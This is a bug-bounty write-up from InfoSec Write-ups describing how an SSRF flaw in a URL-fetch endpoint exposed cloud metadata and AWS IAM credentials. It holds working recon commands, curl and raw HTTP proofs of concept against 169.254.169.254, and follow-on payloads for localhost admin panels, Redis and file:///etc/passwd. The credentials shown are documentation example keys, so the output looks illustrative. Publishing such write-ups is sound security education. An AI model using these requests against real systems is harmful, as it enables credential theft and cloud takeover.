โ† Back to list

๐Ÿšฐ Not Just a Ping: How SSRF Opened the Gateway to Internal Secrets ๐Ÿ”“๐Ÿง 

Hey there!๐Ÿ˜

Iski in InfoSec Write-ups ยท 2025-04-29 07:53 ยท 80 claps ยท 3.1 min read paywalled
#bug-bounty #cybersecurity #hacking #infose #mone
Open on Medium โ†—
Wiki topics: ๐ŸŒ ยท Web Development ๐Ÿ”’ ยท Cybersecurity

๐Ÿšฐ Not Just a Ping: How SSRF Opened the Gateway to Internal Secrets ๐Ÿ”“๐Ÿง 

Free Link๐ŸŽˆ

Hey there!๐Ÿ˜

Image by Copilot

Image by Copilot

You know that feeling when you poke something just a little, and the whole thing falls apart like a Jenga tower? Thatโ€™s what this SSRF bug felt like. One small pingโ€ฆ BOOM โ€” internal secrets, cloud keys, and money raining down. ๐Ÿ’ธ๐Ÿ˜‚

If curiosity killed the cat, thank god Iโ€™m a hacker, not a cat. ๐Ÿฑโ€๐Ÿ’ป

Grab your coffee โ˜• โ€” hereโ€™s the full story of how I accidentally became an internal serverโ€™s best friend. ๐Ÿง‘โ€๐Ÿคโ€๐Ÿง‘

๐Ÿ” Phase 1: Recon Recon Recon โ€” The Dating App for Bug Hunters โค๏ธ

I was doing what all serious bounty hunters do: Mass recon while binge-watching Netflix in the background. ๐ŸŽฌ

Hereโ€™s how I started:

[embed]From Recon to RCE: How AI and a cup of Boost Helped Me Turn SQLi into a Command Injection Jackpotโ€ฆ Free Link๐ŸŽˆinfosecwriteups.com

subfinder -d target.com -silent > subs.txt
httpx -l subs.txt -mc 200,302 -title -tech-detect -vhost > live.txt
nuclei -l live.txt -t ssrf -severity high,critical

After scanning hundreds of endpoints, one caught my tired eyes:

https://api.target.com/utils/fetch_url?url=https://example.com

Hmmโ€ฆ fetch_url? Sounds like something that might make server-side requestsโ€ฆ ๐Ÿ‘€

๐Ÿ’ก SSRF detected (maybe)!

[embed]Bypassing Like a Pro: How I Fooled the WAF and Made It Pay ๐Ÿ’ธ๐Ÿงข Hi there!infosecwriteups.com

๐Ÿงช Phase 2: Poking with Payloads โ€” โ€œAre You Home, Server?โ€

The first test was simple.

I changed the url parameter to my Burp Collaborator link:

https://api.target.com/utils/fetch_url?url=http://burp-collaborator-link.burpcollaborator.net

And boom โ€” callback received! ๐ŸŽฏ Server actually fetched the URL I supplied.

โœ… Basic SSRF confirmed.

Now, time to level up.

[embed]404 to 0wnage: How a Broken Link Led Me to Admin Panel Access ๐Ÿšช๐Ÿ’ป Hey there!๐Ÿ˜infosecwriteups.com

๐ŸŽฏ Phase 3: Exploitation โ€” Internal Party Started ๐ŸŽ‰

After confirming SSRF, the real goal was:

  • Internal recon
  • Access metadata
  • Get credentials
  • Pivot deeper

๐ŸŽฏ First target? Common internal IP ranges:

http://127.0.0.1
http://169.254.169.254 # cloud metadata
http://10.0.0.1
http://192.168.0.1

I sent this payload:

GET /utils/fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: api.target.com

๐Ÿงจ AND I GOT A RESPONSE!

Gif

Gif

[embed]๐Ÿšช Login? Who Needs That? Bypassing OAuth Like a Lazy Hacker on Sunday โ˜€๏ธ๐Ÿ”‘ Free Link๐ŸŽˆinfosecwriteups.com

Proof of Concept:

curl -i 'https://api.target.com/utils/fetch_url?url=http://169.254.169.254/latest/meta-data/'

Response:

{
  "ami-id": "ami-0abcdef1234567890",
  "instance-id": "i-0abcdef1234567890",
  "hostname": "ip-10-0-1-23.ec2.internal",
  "iam": "available"
}

Metadata server = WIDE OPEN ๐Ÿ˜ฑ.

[embed]๐Ÿ” Secret Sauce in Robots.txt ๐Ÿคซ โ€” How I Found Hidden Admin Panels and Debug URLs Hey there!๐Ÿ˜infosecwriteups.com

๐Ÿ› ๏ธ Phase 4: Diving Deeper โ€” Give Me Those Sweet Credentials ๐Ÿฌ

Once I accessed the metadata root, I went specifically for IAM roles.

Sent this payload:

GET /utils/fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: api.target.com

Response:

admin-role

Nice. Next, I pulled the actual credentials:

GET /utils/fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role HTTP/1.1
Host: api.target.com

Response:

{
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "IQoJb3JpZ2luX2VjE...",
  "Expiration": "2025-04-29T16:39:57Z"
}

๐Ÿง  AWS Access + Secret keys obtained!

โœ… Now I could access S3 buckets, EC2, RDS, you name it โ€” using these credentials.

๐Ÿ“ธ Full Proof of Concept

1. SSRF confirmed using Burp Collaborator link. 2. Accessed Metadata Service:

curl "https://api.target.com/utils/fetch_url?url=http://169.254.169.254/latest/meta-data/"

3. Discovered IAM role:

curl "https://api.target.com/utils/fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

4. Stole AWS Credentials:

curl "https://api.target.com/utils/fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"

๐Ÿ“ˆ Bonus Techniques for SSRF to Critical Impact ๐Ÿš€

Hereโ€™s more sauce to turn a low SSRF into big bounties:

โœ… SSRF -> Cloud Metadata -> AWS Credentials -> Full Cloud Takeover โœ… SSRF -> Access Internal Admin Panels (http://localhost/admin) โœ… SSRF -> Port Scanning Internal Networks (using different url values) โœ… SSRF -> Redis Injection (target redis://127.0.0.1:6379) โœ… SSRF -> File Reading (try file:///etc/passwd) if allowed

๐Ÿ† Why Was This a Critical Bug?

  • Access to internal-only cloud metadata
  • Stolen valid AWS credentials
  • Potential full infrastructure compromise
  • Ability to spin new servers, download S3 buckets

๐Ÿš€ This turned a boring url parameter into a P1 Critical report + huge bounty + eternal glory (and also paid for a new gaming setup for me). ๐ŸŽฎ

๐Ÿš€ Final Takeaways

  • Always dig deeper once you confirm SSRF โ€” donโ€™t stop at โ€œyay, it calls Burp Collaboratorโ€.
  • Target metadata services immediately. Thatโ€™s where the gold is. ๐Ÿช™
  • Always think about internal network movement: port scanning, admin panels, databases.
  • Recon is king โ€” without subdomain and endpoint recon, none of this would have happened.

Connect with Me!

  • LinkedIn
  • Instagram: @rev_shinchan
  • Gmail: rev30102001@gmail.com

EnnamPolVazhlkai๐Ÿ˜‡

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF


๋ฉ”ํƒ€๋ฐ์ดํ„ฐ
post_id
d18eeccd4745
slug
not-just-a-ping-how-ssrf-opened-the-gateway-to-internal-secrets-d18eeccd4745
url
https://infosecwriteups.com/not-just-a-ping-how-ssrf-opened-the-gateway-to-internal-secrets-d18eeccd4745
canonical_url
https://infosecwriteups.com/not-just-a-ping-how-ssrf-opened-the-gateway-to-internal-secrets-d18eeccd4745
author_url
https://medium.com/@iski
status
ok
fetched_at
2026-07-20 03:36:17